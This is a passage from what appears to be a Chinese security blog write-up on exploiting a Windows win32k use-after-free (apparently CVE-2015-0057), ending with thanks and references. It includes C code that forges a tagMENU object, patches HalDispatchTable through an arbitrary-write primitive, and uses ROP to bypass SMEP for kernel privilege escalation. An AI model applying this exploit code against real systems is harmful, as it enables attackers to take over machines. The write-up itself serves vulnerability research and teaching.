*(ULONG_PTR *)(BYTE *)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;
RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT) -1, OVERLAY1_SIZE + MENU_SIZE - 2);
}
MakeNewMenu(menu_addr, new_objects, &new_objs_lstr, (PVOID)((ULONG_PTR)HalDispatchTable + 4));
在这之后我们将tagWND销毁,这将导致之后的 tagMENU 一并释放,然后用 NtUserDefText 新申请同样大小的堆块,则我们自定义的Menu就会放入进去,只是最后ShellCode执行前我们需要先绕过SMEP,这里只需要用 rop 即可,任意写的实现是对 tagMENU 的写入
VOID PatchDWORD(HMENU menu_handle, DWORD new_dword)
{
MENUITEMINFOA mii;
mii.cbSize = sizeof(mii);
mii.fMask = MIIM_ID;
mii.wID = new_dword;
SetMenuItemInfoA(menu_handle, 0, TRUE, &mii);
}
// patch HalDispatchTable
PatchDWORD(menu_handle, *(DWORD *)((BYTE *)&rop_addr + 4));
RebuildMenu(new_objects, (PVOID)HalDispatchTable);
PatchDWORD(menu_handle, *(DWORD *)(BYTE *)&rop_addr);
最终我们getshell,完整的Poc和Exp代码在我的GitHub
后记
这个洞需要对 UAF 有深入理解,可以说是很难利用的了,知识点特别多,不过只要你会调试,不断的检验自己的每一步是否正确,能不能实现都是时间问题,最后感谢40k0师傅和wjllz师傅给我的帮助
参考链接:
- WangYu师傅的ppt:https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology.pdf
- 回调函数:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
- wjllz师傅的文章: https://bbs.pediy.com/thread-247281.htm
- 0xgd师傅的文章: https://www.anquanke.com/post/id/163973#h2-5
- Udi的分析:https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit
- 泄露内核地址: https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp
- 40k0师傅的分析: https://blog.csdn.net/qq_35713009/article/details/102921859
- 小刀志师傅的博客: https://xiaodaozhi.com/author/1/